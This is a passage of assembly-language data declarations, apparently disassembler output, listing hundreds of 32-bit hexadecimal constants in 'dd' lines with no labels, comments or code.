		dd 17CC9Eh, 3ECC4C1h, 0AB89B9F5h, 0F3D58601h, 8F43BFC9h
		dd 0C69834h, 0D2FC6301h, 0EA755E5Fh, 0DA599303h, 0D00B981Fh
		dd 54BB1B3Eh, 3A7198A0h, 4B0042F9h, 5EA7EC5Dh, 4E72400Ah
		dd 575820B7h, 24312Ah, 0A20C9369h, 34872837h, 3244B301h
		dd 4875D755h, 0D3E8406Bh, 0FE7DCB43h, 68D4206h,	484E14h
		dd 92DE099Eh, 51401653h, 1EE21901h, 8E9D41CAh, 18FC56F2h
		dd 0A8C7095Fh, 75B53748h, 0CB3C5900h, 0B75AFF19h, 4DF53DBFh
		dd 67563001h, 80F34035h, 9EA315A9h, 0F77944h, 0DC89434Ch
		dd 4751BB09h, 13ACAD00h, 3FCE650Eh, 67930050h, 96028D5Eh
		dd 4FF25B01h, 0AC907C5Bh, 0E64327h, 644C1821h, 0E783F7C3h
		dd 0A0988722h, 2635098h, 8A6EADECh, 6223C255h, 89CFE9AFh
		dd 1CFFCAC4h, 81D3C12Ch, 5460A99Eh, 9E18095h, 6B135A6Ah
		dd 46530F80h, 45C79D63h, 8D21637Ah, 0D0626991h,	0B9019FD9h
		dd 933EFA5h, 0B0C0DACDh, 0C6563CEAh, 0BD123600h, 2D9AB54Dh
		dd 0C9116D03h, 776EB7Ch, 7DC49CA9h, 5B84F0CDh, 0DA00BCA0h
		dd 0C1E92FA9h, 5EAA2E7h, 5E1CC8C4h, 86D50007h, 0D35DBFF1h
		dd 761801F2h, 0FE187CB1h, 0E671E75h, 289B0586h,	2D18008Eh
		dd 45D005B6h, 0C2D2BF0Eh, 0F388A038h, 1F4B9B2Bh, 0CA28D6h
		dd 4936A2A9h, 4000139Dh, 57BF032Dh, 0EEB3CCh, 0EC0529Ch
		dd 3523BD8Ah, 6331E505h, 142C434Dh, 3D1D0177h, 0A4E36762h
		dd 60284E43h, 0A84516E0h, 78DD00B2h, 6503ED42h,	59009ECDh
		dd 36B9B50Ah, 14322F75h, 14AB2AB2h, 6652A6F0h, 7D51E305h
		dd 742CC7E0h, 43500302h, 633DAF97h, 0DEC8E8BBh,	5A00B975h
		dd 7A98270Fh, 0A7BA918Ah, 1A4E0034h, 63764347h,	51E93F15h
		dd 6F728020h, 291536BBh, 6844D387h, 197C01CCh, 57731170h
		dd 7D048AD4h, 1FDED161h, 513B1086h, 0FC7F1815h,	1C195B00h
		dd 0F0D2099h, 0E0CFC86h, 3B7484BAh, 19BB98E1h, 887DC9FDh
		dd 45429h, 0AE402568h, 82070801h, 1F92F920h, 5B219420h
		dd 14F607h, 12A234EEh, 0C3D497E0h, 4A172900h, 1E0E4B5Eh
		dd 0FA7705h, 0AD61CDD6h, 993A3E51h, 624D7400h, 2B870F81h
		dd 85F000E0h, 0A69E8677h, 0C0EF7507h, 390067B3h, 64A39FECh
		dd 0FB856F7h, 8ECB6FD7h, 3E2B4D40h, 0FC00FBC7h,	5C4110DCh
		dd 3222F62h, 54D860C5h,	3DF038B3h, 9C00B718h, 0FB6BE08Bh
		dd 0E44F55h, 4E641785h,	0B0CF03Ch, 99044B30h, 0B001A82Bh
		dd 9CF40011h, 0A5226758h, 9F003C55h, 534A327Eh,	1D01D289h
		dd 0BBC5A606h, 4F0EC480h, 0DD1EE44Eh, 545AE900h, 196A06C6h
		dd 3E3900AFh, 0CA662635h, 8600C228h, 149EA1BBh,	3DAAA679h
		dd 0B980BF57h, 0B2F3DB9Ch, 8D28E4C7h, 0EE00E819h, 68636E6Fh
		dd 60A18218h, 0E6E031A8h, 0CF00ABC2h, 9B148819h, 47E298h
		dd 5BA26C50h, 646F0C43h, 18E01A09h, 8AED02C0h, 381448C4h
		dd 5A24A0A3h, 164FAF2h,	0EDC9C746h, 802954B3h, 0D2AA0958h
		dd 0C40C1A7h, 5814211Fh
		dd 120063ECh, 832E858Eh, 3D76A38Ch, 900E79FBh, 87E03F84h
		dd 0F0F85A5Bh, 9316CD01h, 548F9A0Ah, 11DEF4h, 0CB3B1358h
		dd 1C1B3408h, 9EA2672h,	5C207C18h, 1D4511h, 84C05350h
		dd 74E7A330h, 0F057B000h, 61BF3783h, 0F79A2439h, 9BDE807Ch
		dd 0BDDAFF40h, 24BA49h,	0D5784642h, 811136h, 0DE807AB2h
		dd 85059B4Bh, 0EF016C76h, 0AC43F43h, 0F4405BEBh, 0C63B28h
		dd 0F721D72Eh, 6F579E66h, 98262313h, 874B1000h,	75A6DB6h
		dd 642F0E0Ch, 0BB46E0B2h, 0A21CF7C0h, 3A00EF51h, 0A0B6449Ah
		dd 0B4A40013h, 7F102C1Eh, 3308911Ah, 81D6E864h,	0C17E40FFh
		dd 17CF202Dh, 599913Eh,	0E7672AA5h, 0DF6ECC00h,	731FEDh
		dd 4B16F157h, 723C850h,	0B9AEC40Fh, 207E0B55h, 0DA091F34h
		dd 7054013Eh, 0BBCBC28Ah, 41E4418Eh, 0DEB8D830h, 0DCD5F300h
		dd 28BC2414h, 409C57F7h, 1E361300h, 0C5477E0h, 0D003EA01h
		dd 897B2550h, 1E6C2C20h, 583430A7h, 476030A6h, 0EE04C407h
		dd 0BB931h, 6FB23AD3h, 0F8ED3027h, 0E784AC70h, 42B30E1Eh
		dd 5D027E40h, 0B63B33h,	0FC4A1D53h, 20E770E0h, 0B358F40Bh
		dd 9068024Ch, 76A4445Bh, 19A8A0FBh, 0A9C203ACh,	0BCA6052h
		dd 87A091CBh, 0FE74907Ch, 0ED128912h, 19FBC000h, 0A86CFA33h
		dd 403DD2BCh, 0B3428987h, 461DD00h, 3A681FA1h, 4C29AA00h
		dd 410ED15Fh, 87E0C067h, 779D722Dh, 6818B705h, 0BC04BE82h
		dd 3C051436h, 0CF45407h, 0F02C1101h, 0F902476Dh, 948051B8h
		dd 66797029h, 0D88D1200h, 0FD580E42h, 0C879485Eh, 0DE55BC80h
		dd 0A86194C1h, 0E8902278h, 7D5A83FCh, 5DAE0073h, 20948CCh
		dd 0A02F547h, 4B9931ACh, 0D2989062h, 0AE2F0083h, 0ED0CC1ECh
		dd 85091D42h, 693DC8Dh,	29023AFh, 951E3F01h, 869E247h
		dd 4844306Fh, 80964312h, 328CA000h, 999D9192h, 70398034h
		dd 94F5E85h, 3CE0A909h,	7AA0837Dh, 0FDB34Ah, 0A79318B9h
		dd 0E5EAB577h, 0B8042171h, 68BC9A92h, 0A0800CC8h, 2A7B62E6h
		dd 20A8991Fh, 3F20940h,	0BC4FD40Fh, 75ED0176h, 7C3349ABh
		dd 0F844A107h, 70A386ECh, 56304827h, 6E21FB2h, 18A2412Bh
		dd 0ABD2AD14h, 7BE7A3DCh, 302D0040h, 8173599h, 4303F96Ch
		dd 0D27733DFh, 0EACBB8Bh, 0F45C06F0h, 98B9D3A0h, 0CA091158h
		dd 807B8647h, 14ED9DACh, 0C3823071h, 41224B5Ah,	0F1DD5201h
		dd 0EA1C746Dh, 1E059F4h, 94C84A7Eh, 0D41219E6h,	0BB71922Eh
		dd 8488A424h, 0F285940h, 309B7709h, 86486314h, 2AC298FEh
		dd 8068FD04h, 9D324BCCh, 7DF5002Eh, 0F2D4C2B5h,	56002FF6h
		dd 36C3C22h, 0DCAD24h, 0D946A86h, 2E71B1B9h, 17E7D200h
		dd 9F2CF15Ch, 5B5300CAh, 6C7DA247h, 7401E5D1h, 7A2E4D46h
		dd 0B03064FCh, 49ED02C6h, 0CAE01DD6h, 0C8F71449h, 4713D38Ah
		dd 18411E20h, 0CFD5A9C7h, 0BC9FE0EBh, 4C190072h, 81862EC3h
		dd 8800DCE8h, 39BC2B0h,	0FF4D48h, 0B240F79Dh, 0E9DF5FCAh
		dd 60582E24h, 0A001B400h, 1F44655Eh, 407C0CE7h,	3686F968h
		dd 3200E4B8h, 0E0B278FBh, 2663A8h, 4E237AA4h, 9BF03FAEh
		dd 0D21B7400h, 0F71ADD9Ah, 0F89400B1h, 848BE392h, 14710D25h
		dd 32582900h, 557182ECh, 36A500AAh, 610AE995h, 0D2188BBCh
		dd 0AD0E51C7h, 2CD49AC0h, 4E30B260h, 6EFA00B1h,	0C0917279h
		dd 0D2C10064h, 0C7430546h, 2612EC8Bh, 88403378h, 0F6169BE9h
		dd 8853016Bh, 2B3069B2h, 4498011h, 0A1902554h, 26289A3Ch
		dd 50A018E3h, 380F2441h, 43C050A7h, 0D8899AF6h,	0EF28E3Fh
		dd 2AF5B639h, 0A03C1649h, 0BE5CB91Ch, 1B54A0C7h, 97D662h
		dd 0DFE35065h, 0FC22BD17h, 40884428h, 9D7F6B04h, 0ADA85801h
		dd 7648AFCFh, 24C0024h,	0AAA2FE0Ch, 4CEE275Fh, 74384002h
		dd 40374E78h, 486114h, 7C5D41C3h, 3E459EB1h, 8332FA01h
		dd 6654AC97h, 0F4BD020h, 9AE48A40h, 5C4241C0h, 83008ED4h
		dd 0E13C3ABEh, 2F0988Fh, 0F6C474E0h, 0D4A0DB87h, 0C27D9F2Ah
		dd 0C0683A59h, 0D31D7125h, 0B88100B0h, 7DD2F8A4h, 0C5015075h
		dd 0D142FDCCh, 0BCD03851h, 819D3D5Ch, 35E6CD80h, 7A5A5846h
		dd 90554000h, 0D156FFBh, 696116BCh, 2C01353h, 0F38A88D4h
		dd 0AEE2D480h, 3B3F8562h, 3D540073h, 381A41E1h,	537A0431h
		dd 0C035E927h, 0C47064D0h, 63B16017h, 45F71028h, 35B83087h
		dd 6E385A01h, 4FE61E92h, 0E84DD6D0h, 0FA5D0171h, 40B7C2B4h
		dd 8108299Dh, 44340BDEh, 2F42024h, 5AD83849h, 31C0A0DDh
		dd 0CF025EBCh, 95D36AA3h, 17F4C02Ch, 9A1500FAh,	6038EBA7h
		dd 0F73A7B30h, 20980FDEh, 6D3AC0ABh, 6256452Ah,	0DB325808h
		dd 28B10640h, 0F6BC5B16h, 73106C44h, 504434A7h,	21CE00D6h
		dd 1EFCA79Dh, 9C0052A8h, 0D3E14ECBh, 1A10B13h, 819A7DE8h
		dd 205FA067h, 0DB099864h, 20FBD0CFh, 7F96CE9Ch,	38057CF0h
		dd 4A8C4E2Fh, 49F1B42Ah, 0DAE8FC00h, 0B56AB80Dh, 9F62173Ah
		dd 0A3020065h, 0F9ACAD30h, 0D36CF418h, 18C76F51h, 116A3F1Ch
		dd 5F72321Dh, 82A24000h, 9D16E268h, 78A6007Eh, 0E1451A8Dh
		dd 0A8F081FEh, 5A00F492h, 6E84422Ch, 2AA191h, 165C2D1h
		dd 295FE9C7h, 0DE634700h, 59BEAA5h, 0D21906D4h,	0E0480A35h
		dd 0FA74BCF8h, 8D00CCFCh, 0C988A7F0h, 74FE192h,	5D7C8C85h
		dd 5CC820C2h, 4E01B34Ah, 0F70D34A6h, 0F8200AE0h, 2131884Bh
		dd 0F6FEAD00h, 82DC398Fh, 0E4FF87Ch, 706096CFh,	0D6B5ECC0h
		dd 1E3F9D9Ch, 0B0049C64h, 950919D7h, 0DD1CA3DEh, 9ED9158Fh
		dd 0CC15DCD9h, 9218B0D6h, 12C294Dh, 34EEB490h, 529EFF09h
		dd 4640991Eh, 0EC852A10h, 0F6EE0800h, 7243BB6Eh, 0B86B007Dh
		dd 0AF377E56h, 0F500B1C6h, 0B5023047h, 71F0C91h, 2262816Ah
		dd 0FAC253AEh, 2C485292h, 3C144130h, 794FFE4h, 4E2EEB8Eh
		dd 0D3191D21h, 0A3E070h, 0F7529ACCh, 5E37F3E5h,	7C57A705h
		dd 90163216h, 1EA80020h, 8742006Bh, 282E0AC9h, 48B1E567h
		dd 64402B64h, 0ADEBE39h, 9FD811C3h, 0CAC79940h,	4CC8EF0h
		dd 7D8296E8h, 0EB3480ACh, 8A17838Fh, 4C5248DAh,	0CB476840h
		dd 7AAF3Bh, 0B02DF0D2h,	9CB71279h, 0E0024FCh, 0C6A9DE36h
		dd 28CAE318h, 3BC1AECh,	820344E1h, 10017DD1h, 0F0D455CDh
		dd 0F16AEBD8h, 0AFD40085h, 61007E52h, 1D2362Eh,	15DE24h
		dd 12486356h, 0A1AC203Eh, 0A9BF3800h, 0A60D1B8Fh, 432900D2h
		dd 76EEBC6Bh, 0A838AC06h, 57D98C9Bh, 72E5B8ADh,	38BF00DFh
		dd 97068A92h, 147315D0h, 0A7C1FE1Dh, 6D2E0BC0h,	7E84C9F2h
		dd 4508001Ch, 7DF01486h, 760E8CFAh, 81A453F8h, 0E4714C2Eh
		dd 3E4DD1F4h, 0E0808F80h, 0D97A4F11h, 22008627h, 0D157076Bh
		dd 75833B01h, 88FC004Bh, 0E8EE4C8Bh, 0B2011D4Fh, 3F6504B5h
		dd 37300568h, 0DF350BB4h, 2F05711Ch, 0D5BC001Dh, 5010160Ah
		dd 0F113D600h, 667CB485h, 0C3241D2Eh, 0DD62C2EBh, 0E76016C2h
		dd 8A009474h, 8805F24Fh, 258D0F50h, 0D400FFE5h,	2A16BD44h
		dd 0DE60300h, 0E36D2F5Ah, 56A03EE0h, 0E2641500h, 0B1064621h
		dd 0AC73900h, 0E0909B1Fh, 6E76003Dh, 0CDFDF163h, 0F37E6918h
		dd 790BF512h, 0A0E42400h, 4C7F40BBh, 0C71874D8h, 72ED1811h
		dd 5E97B700h, 765A67A1h, 166E007Eh, 0D53EAD5h, 0A905BD0Bh
		dd 2A3BF190h, 71140B0h,	52B94539h, 0E9015067h, 0C400D544h
		dd 684C8016h, 1D7B23BDh, 0E7F7E402h, 0F66CACA0h, 0ED09F5DDh
		dd 0E069EA38h, 73749FFCh
		dd 0AC9C50E2h, 2E17132Dh, 0E6809241h, 0C6608CE4h, 1A3D29B1h
		dd 359A1E59h, 3A1080D3h, 0CA8F556Bh, 5AA92007h,	0E8B01842h
		dd 9051E33Bh, 77903F28h, 3ED4FBA8h, 4102F563h, 0EDC574CEh
		dd 245C64ECh, 812E7180h, 8D262CD4h, 0E4098A1Fh,	207C0E5Fh
		dd 5C4DA23Ah, 4400262h,	0D11EC936h, 49D76468h, 87752802h
		dd 68EA1632h, 265205F4h, 966C61C0h, 9940409Ah, 0B1CDB090h
		dd 60FF8900h, 6C568FC1h, 445900F0h, 20710997h, 0E800F3CAh
		dd 0BE027857h, 0E0DFAB11h, 60210090h, 0D68CB12h, 0B7030E94h
		dd 0B06A8E3Ah, 99A80950h, 34097CA4h, 0A0217805h, 0BA0ED93Ch
		dd 5C6034EBh, 6A7326C7h, 0BC0095F5h, 0DEE06101h, 195201F6h
		dd 8A829427h, 2B7C7412h, 0A618ECB0h, 0C860AF0Dh, 0E89500D4h
		dd 402C5831h, 83DC44Dh,	1FE483D8h, 0D8696DAEh, 0BD9BD0h
		dd 0A039F977h, 6BBF1D53h, 65FDB600h, 79B5ABF5h,	16471EADh
		dd 0E85486A3h, 9B0070C7h, 0DFF1E331h, 0B675EE96h, 7F3003Ch
		dd 658DB829h, 10E2FA2Bh, 6C59F910h, 98CBAB03h, 80C997Dh
		dd 181F3EA1h, 1BB7C9Dh,	0FAB6494Fh, 20D2865Eh, 83031B86h
		dd 0D82FFCF6h, 7FE7F0ECh, 8D4B00EDh, 0C395FF3h,	820034E6h
		dd 607665E4h, 0E0A405CFh, 5EC50075h, 0F466147Bh, 0CDF8E32Fh
		dd 0C9C30278h, 0C1F9E2C9h, 3E2C2C8h, 0FFD36B67h, 299BA802h
		dd 780EE4E3h, 6CD300B0h, 0F519194h, 780098DDh, 197583A3h
		dd 18BDE2D9h, 49C35D85h, 260BB499h, 50860Fh, 1ED8FBF2h
		dd 0E5FF00EFh, 0D903A437h, 97004DC3h, 2F1C191Ah, 2A68EDB5h
		dd 1C98748Fh, 0BE039131h, 0BA8918FBh, 1204196Dh, 80C9E93Ah
		dd 6F313C5Ah, 18BC2A4h,	9268E7BEh, 8499C1B6h, 0ED1386C0h
		dd 0B3034EC0h, 35378C3h, 27247AFDh, 5100C68Eh, 8B39B0F2h
		dd 4D0491h, 0D2B4F477h,	0FA0CD359h, 19FF0A00h, 4FC66C6h
		dd 3FF09Eh, 0B392F66Bh,	5C0C75A3h, 4492A5F4h, 0F43CD57Ch
		dd 0E1470040h, 0FB4BEFADh, 0CD774Dh, 0EC963017h, 785E1ADEh
		dd 7840D44Bh, 7BEE3AEBh, 92AD001Dh, 5FD0AAACh, 417822Ch
		dd 0D5038A41h, 305FC14h, 0F7452931h, 0ABD00BEEh, 7E068508h
		dd 17EDC7C2h, 0A25A0089h, 6A66EF31h, 0BB2EBFCAh, 0A4067084h
		dd 0FF978AFh, 0ABE5E452h, 777E6Eh, 25D7F18Bh, 0B3006BA0h
		dd 849AEB08h, 13BE27h, 79E86205h, 0BBD709Fh, 9C2D4B1Ch
		dd 0F9D03B40h, 0CC8BA41Dh, 7221B108h, 1703877Fh, 9650FE73h
		dd 0A3191293h, 9FEA104Dh, 7814351Bh, 0F8766BE1h, 6E06C69Fh
		dd 66F159EEh, 9C4C3308h, 0BE0BC20h, 5307FBCBh, 13985007h
		dd 0CC8CD61h, 0B7C84C4Ah, 1BC7CFC0h, 4895399Ah,	13BB08FEh
		dd 40116236h, 0E20B7582h, 424CFF88h, 4B009DA7h,	3AB60B6Ch
		dd 0E0803942h, 0BA1D1EB7h, 3D77E9EEh, 6DD4739h,	626D9450h
		dd 5DA80680h, 40AA45CEh, 591E4219h, 0D0F0AB18h,	9679C071h
		dd 0BB94219Dh, 555DD00h, 881D4772h, 73BE815h, 136564D1h
		dd 77243162h, 161C40FAh, 2500F7EBh, 0D4B602C5h,	7612643h
		dd 8BACC778h, 89DF8606h, 4F01AB07h, 0E4B9293h, 6909512h
		dd 0AAD65DFAh, 2F423CE1h, 5426316Eh, 0C6016808h, 0B3BE7C55h
		dd 29CD67BCh, 0C2428CDCh, 0D77DF429h, 0D136E60h, 56A2510Fh
		dd 0E467EBAh, 69A966h, 8D0AEADCh, 0D422A18Fh, 2CC6233Fh
		dd 0D3166677h, 554C1D00h, 1D639EAFh, 32FC0BDh, 16B36C7Ah
		dd 209AB5C7h, 0C8E4909Ch, 0E1357D1Ch, 19E3A1C6h, 215C6008h
		dd 0BAC8EC99h, 29C05D00h, 52623725h, 0AFB51C97h, 59AA4C71h
		dd 8F00DDD9h, 0CDD28765h, 3ADA4C46h, 2430415Dh,	65E71321h
		dd 0BC83EA00h, 0E17FDFDDh, 0FEEB005Bh, 55A6929Fh, 570227D7h
		dd 0E8B24349h, 93CC87FBh, 82B635D2h, 8F41B10h, 0DAAB8084h
		dd 4CE08AC0h, 5B73C318h, 4992E228h, 0C29C44E9h,	7EC6E10Bh
		dd 4E13A331h, 0D4F010FFh, 6E00A0E7h, 0CF39ED9Ch, 3493732h
		dd 0DFAA13BFh, 0F806A3A2h, 0EB879D54h, 80ECA018h, 0C04B7039h
		dd 310C2610h, 0C103C84Dh, 1E1A449Dh, 93528815h,	54D51DEAh
		dd 189C8007h, 4DFC1F6Ah, 8B36B300h, 0C579569Dh,	1B571D9Eh
		dd 0D6AA83BDh, 0C4D8CE60h, 2B074651h, 0ACC0F475h, 10C8E650h
		dd 0ADD80082h, 7A3FA0A6h, 800076A7h, 2A70A39Dh,	0EEB93847h
		dd 0F58D00C8h, 97363B4Ah, 0E600756Dh, 0C0086C2Fh, 0F97B2Dh
		dd 0D284A88Ah, 158B2E85h, 0DAF2EA0Ch, 76B338F6h, 0DE350046h
		dd 340A766Ch, 7A006A87h, 0DB1D8F90h, 0E214D6B7h, 6FB258D1h
		dd 0FD056F03h, 49C87D35h, 7A0C56A4h, 302395D7h,	1BF30022h
		dd 0F6F7DB43h, 0AE0329ADh, 0FE93FFD4h, 20C4C088h, 6399058Fh
		dd 6D9CFBh, 7EE0DCDAh, 420083F7h, 0D6A2ED97h, 6F4326h
		dd 884010F4h, 0CD509A7Fh, 68F72C37h, 89787011h,	8520A094h
		dd 3E41007Dh, 969E6A2Eh, 2D05838Ch, 0E244B23Fh,	75F67A80h
		dd 0A4E64Ah, 41189925h,	0BBAF6B92h, 142AFD3Dh, 10C393Ch
		dd 0CE5B24BDh, 488BBA9Bh, 5A039C75h, 95E0557Ch,	0F8E811F6h
		dd 0B144970Fh, 280CF67Bh, 60E0412Dh, 64C71983h,	601C793Dh
		dd 2707CC9Ch, 1433C27Ch, 89B7A02Bh, 6C7D18A4h, 41F7E097h
		dd 0AC85B400h, 9FD26EF2h, 0CE480287h, 0B7FEAB8h, 9BD9B360h
		dd 66DE6B07h, 0B3764CE6h, 11D0B721h, 90F08100h,	0A67E30F7h
		dd 1F410F02h, 50D88AB7h, 808692A8h, 68CF2288h, 112848E3h
		dd 7DF2472h, 597B3300h,	0EAA6F48Ch, 11E60021h, 17A12C69h
		dd 0D93749DCh, 0A10F3081h, 9FDD60F9h, 0E8CA1080h, 12788E65h
		dd 6BAC0307h, 0D6460288h, 0E1250021h, 0BCA55A65h, 2E076F18h
		dd 0F7F5351Bh, 0C562C07Fh, 64A7A67Dh, 809630EAh, 0BCAE6FEEh
		dd 6802D328h, 190E656h,	0D90475F0h, 68524F53h, 0F829204Ah
		dd 12184075h, 99595FC6h, 0D455001Eh, 0D0C26F46h, 4A001714h
		dd 1C39B8C5h, 0A64D5A1h, 2E73ABF2h, 0D2E900A8h,	0F0B93CF9h
		dd 964C38h, 5D226713h, 303848EAh, 0FCB8C0F3h, 0D37FD590h
		dd 7838247Ah, 23AF0260h, 40CFF958h, 4F3D6DFCh, 942BE06Ch
		dd 7FC9E600h, 1FB19EDCh, 0F7C107DEh, 3080F995h,	55EB1120h
		dd 96F6AD00h, 0B039C05Eh, 371901E1h, 9CFD0A84h,	18A2F488h
		dd 0E94AA00h, 3AC0B5F7h, 1EC6ECC7h, 81B4D512h, 6DFB15B7h
		dd 0FAE8FCD1h, 2CBD1000h, 217E63E9h, 0CFC80022h, 0EC6A1704h
		dd 8006825h, 419C78DBh,	0CA57A9AAh, 55049610h, 0FA8BD86h
		dd 0E3940010h, 1A03494Dh, 0D300F0A4h, 0A89C1DA1h, 0E8A4EC2h
		dd 9A78EE74h, 0B16D5B40h, 0C400D963h, 4CDA2FE4h, 1F07BBC2h
		dd 17A8Bh, 0ACD0AFFCh, 0BD00B629h, 1FDCBE4Fh, 484660F3h
		dd 3300C1E4h, 537C51F6h, 68002F05h, 9A198D52h, 1CAF5D88h
		dd 801DE26Fh, 0A5178502h, 0DF00C14Fh, 8814D34Ch, 9E3C8h
		dd 950C077Dh, 8728A13Eh, 8C805603h, 0E8054E36h,	4D51E2h
		dd 0BE48C8DDh, 498D6F8h, 6C684A03h, 0C0807409h,	28BF762h
		dd 0E4E0F272h, 0CE60C366h, 0D0006D1h, 363102A9h, 398ED6CAh
		dd 9480C70Bh, 4BC896E9h, 0A2016ABEh, 0EA2F41E1h, 5EC45292h
		dd 8E0400A3h, 0F6249475h, 47000921h, 39BE6D55h,	0A03AEF7Bh
		dd 5776B4h, 881E7061h, 4D52DA97h, 501D5F90h, 4580FE63h
		dd 205A5F84h, 0FDD23940h, 0A339BF8Fh, 0AE00DCF5h, 0E49B6655h
		dd 0C0199BAh, 0F6936153h, 0ECC31A7h, 14F80027h,	6FC8B7B9h
		dd 85001907h, 52EBEC97h, 0EC31EFBh, 616344C5h, 949CD018h
		dd 0F08DC900h, 2D230F9Ah
		dd 6350737h, 6052FF65h,	4B0D27B8h, 0B208C203h, 0E8E073F4h
		dd 0D48489h, 108C2551h,	5D3C2A6Fh, 0A9F84C00h, 32E55FEFh
		dd 0D8560099h, 0C1B0FFD2h, 0A5395CF5h, 554F803Fh, 0C31B6FFCh
		dd 4E320F41h, 89E0AAC4h, 1F378F97h, 6E34AE02h, 819610A4h
		dd 11CBEE4h, 4CE231CCh,	0A904AA4Ch, 807BE0F1h, 0A7D80BD8h
		dd 0FDC07A00h, 0BAE585BCh, 9F291F18h, 8831CEF3h, 607C4F80h
		dd 774C27A6h, 2C42581Bh, 4300E7CBh, 0C694DC64h,	0B37B5Eh
		dd 0C7B3CABh, 321A9C05h, 8215F800h, 6AE0B7FEh, 0CA1013D0h
		dd 93C50009h, 924D946Eh, 6BF5C726h, 0BB0B4A01h,	8EE0FBB0h
		dd 43E214C2h, 110EDC6Dh, 74202D19h, 0D6BF0CABh,	0C2908FEAh
		dd 30F1B001h, 0D8671E65h, 0F400824h, 13AADCEBh,	0CEB27AC0h
		dd 5F0020F2h, 6146124h,	21CC433h, 0F7393B9Ch, 6FE0A4AFh
		dd 0EC003FD1h, 442704BEh, 4D7093FAh, 570020D5h,	0ECA3153Eh
		dd 13247AE0h, 0E00639Ch, 2191A5B6h, 8978C0DDh, 0B75EBDBBh
		dd 330024F4h, 0C5462E53h, 9026D047h, 20273B3Ch,	0CC805C48h
		dd 511F53C4h, 73883E50h, 70625D30h, 7B02DFh, 0AFC7AB27h
		dd 8112E5A7h, 0A8F03100h, 2ED6B821h, 0D80A172Ah, 456A0003h
		dd 23516236h, 7D7E0098h, 0CB4D5F00h, 0C2780C32h, 94D400E4h
		dd 6CEBA2A7h, 80003BF6h, 4FC5735h, 0C02775DAh, 7D8BE030h
		dd 6B001BD2h, 78FAFEA7h, 288E52h, 0CD386D40h, 87DB80E7h
		dd 8036C328h, 692E5800h, 126778FEh, 8F080725h, 0D019C4A1h
		dd 432DE26Dh, 72B92F16h, 0CC660000h, 237B61Bh, 241F5EFh
		dd 8A80DB21h, 87B3FFBEh, 3E540107h, 9E5038B7h, 0CA2253h
		dd 9C460A16h, 0DE1B1D5Eh, 17CA94Ch, 0E7AB8763h,	3C2072C9h
		dd 48DC0045h, 0E3842D6h, 6624AD24h, 31009451h, 3464F27Eh
		dd 0F179020Dh, 5D078A7Bh, 551AB487h, 6F1C084h, 0D20044C8h
		dd 5724ADEBh, 6E985Ch, 5F2EF3E4h, 28C514A5h, 0C878D400h
		dd 0B3B2F08Eh, 26CC00D8h, 5AB13B94h, 540089FDh,	0B577C6DDh
		dd 1DFF3450h, 0C0AD35EAh, 44C98B78h, 0DC05C51Ch, 5CB67BDAh
		dd 0EAECC0BAh, 3492D6B3h, 0E81BFF00h, 0C4542747h, 0CF3503A1h
		dd 4172E2BAh, 5AB73C0h,	82AE180Eh, 6A4D008Eh, 0B8DBCD59h
		dd 3CB4E0BDh, 5D0051CBh, 0B742DDD2h, 0C500AE55h, 57A53D38h
		dd 9894B68Fh, 5B43CADh,	0CDB2A382h, 68C0C1E0h, 87000BECh
		dd 5BF87D16h, 9F1E2F7h,	94CB5937h, 0D2E75820h, 0B3001AC1h
		dd 4F7702BBh, 6E2ACh, 91B28916h, 6BB943CFh, 85360509h
		dd 5F3000EBh, 0D270D4h,	0CB9387D7h, 0B8436296h,	49F640C0h
		dd 32171Bh, 87C565C6h, 0F1DEE244h, 97840300h, 0F24B81BDh
		dd 7D6900CAh, 0B9632005h, 0C8004873h, 2A2CA5A7h, 774AF7E7h
		dd 0CC9450FCh, 68B9006Ah, 0E3D87493h, 0FB00E596h, 0CFE07CD6h
		dd 7414110Bh, 0BC7201C1h, 8EA64819h, 852880D9h,	3930A06h
		dd 602400ABh, 82517299h, 0E24CBD43h, 3681040Bh,	18880529h
		dd 0DC6D0579h, 806057C0h, 6ECB750Fh, 35C30E02h,	60EDD9C9h
		dd 0C987927h, 0D586EFF3h, 0B4003B10h, 0B0418BA3h, 0FC74EBh
		dd 7B16C13Eh, 0CFE1BB36h, 0C7644500h, 96BF61D7h, 0CE28012Bh
		dd 0BA1BDADEh, 0D619F431h, 27E9EF1Dh, 2B856AC0h, 721423h
		dd 7B96FAB1h, 0EE5ECD98h, 43E04001h, 381DAC87h,	6F0BCCh
		dd 0AA244ABBh, 52F2B8ABh, 5E66FD01h, 2568A488h,	2C89CECh
		dd 37721A1Dh, 0AE60D367h, 0A67EA571h, 0D0B34F00h, 0AE3D26A0h
		dd 0D3100FFh, 3A322CCCh, 615D0E3Ch, 0B599138Ch,	7D4DFA00h
		dd 2305B7h, 4FC3FD45h, 6CB165A7h, 15CA6200h, 0E026538Ch
		dd 0B27618C5h, 0FAE68050h, 24EB6824h, 1F17C181h, 8CE4E2B7h
		dd 3B3FEEAEh, 0DA859978h, 81060E74h, 329F4A59h,	9B95029Ch
		dd 406F9AEFh, 3160FA6Fh, 0BB990B15h, 0CB1440E2h, 0D233EBE4h
		dd 0A0D008C8h, 679B257Eh, 36152158h, 0F503390Eh, 0A324FD8Dh
		dd 7282A02Dh, 0A2CE000Bh, 0D1B741ECh, 6100E403h, 0E32B6684h
		dd 38395E8h, 7E191080h,	0C1E06217h, 200F33EBh, 0F4BA6021h
		dd 0C8FA0CC5h, 77A36063h, 7EB011Dh, 0D1AC5D37h,	8BDBD1E5h
		dd 0A0454110h, 6B8685Ch, 4D900021h, 0D1BAF887h,	50057BDh
		dd 0D56E3A7Eh, 0F2B89AC7h, 0F96FECAh, 6CB56F34h, 698C4DC0h
		dd 3B004C17h, 0C27DB9DFh, 0D00AFCh, 0F65E16BBh,	0C35DA092h
		dd 802F7638h, 598A97DAh, 90B88F23h, 8598BA59h, 0DE40FD04h
		dd 1BC1066h, 53FE7718h,	81FDEAD6h, 90C12E20h, 31804360h
		dd 9E1AD868h, 0FD0CCDA3h, 83DBB5Ch, 0E621C005h,	3C31AEBh
		dd 9CD29C3Dh, 0B2977D34h, 70A9BE01h, 10389742h,	35594A0Eh
		dd 62BFE602h, 990D100h,	6EC10EB0h, 9DC04BC3h, 7A38A813h
		dd 0D8A14A00h, 8F02DAAEh, 0CEEB0E6Ah, 0D107B86Fh, 2D1DC0D9h
		dd 5E00AA7Bh, 0EC9C01A0h, 64099Ah, 0CA61D0CEh, 4175C94Fh
		dd 0A9025B0Eh, 93D180F7h, 0D8EB57h, 0A1C5CD61h,	1D47CE4Fh
		dd 18495A58h, 0BFA89488h, 0F13C0050h, 0B24A694Eh, 0D019BA5Bh
